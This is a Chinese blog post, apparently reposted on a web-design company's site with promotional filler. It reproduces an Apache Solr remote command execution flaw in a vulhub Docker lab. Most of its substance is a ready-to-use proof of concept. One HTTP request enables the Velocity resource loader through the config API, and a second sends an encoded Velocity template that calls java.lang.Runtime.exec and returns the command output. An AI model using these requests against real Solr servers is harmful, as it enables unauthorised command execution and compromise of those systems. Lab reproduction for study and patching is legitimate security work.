189 8069 5689

ApacheSolr远程命令如何进行执行复现

这篇文章给大家介绍Apache Solr远程命令如何进行执行复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

让客户满意是我们工作的目标,不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户,将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴,公司提供的服务项目有:域名申请网站空间、营销软件、网站建设、冷水滩网站维护、网站推广。

蹭个热度,复现一波:Apache Solr远程命令执行漏洞。

环境可以使用/vulhub/solr/CVE-2019-0193/的环境,进入目录后直接 docker-compose up -d如下:

Apache Solr远程命令如何进行执行复现

接着访问对应地址可以看到,搭建好的镜像是没有集合的,所以我们需要自行创建一个集合:


 

Apache Solr远程命令如何进行执行复现

通过 docker exec -it 容器ID /bin/bash进入容器后执行:./solr create -c solr_sample创建集合如下:

Apache Solr远程命令如何进行执行复现

可以从重新浏览器访问一下solr admin,查看集合是否创建成功:

Apache Solr远程命令如何进行执行复现

确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true,请求如下:

Apache Solr远程命令如何进行执行复现

修改完配置以后通过poc即可执行任意命令如图:

Apache Solr远程命令如何进行执行复现

相关poc如下:

//修改配置pocPOST /solr/集合名/config HTTP/1.1Host: 192.168.119.134:8983Content-Length: 259
{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}
//远程代码执行pocGET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: localhost:8983Host: 192.168.119.134:8983Content-Length: 0

关于Apache Solr远程命令如何进行执行复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


新闻标题:ApacheSolr远程命令如何进行执行复现
URL地址:http://cdxtjz.cn/article/pjsosd.html

其他资讯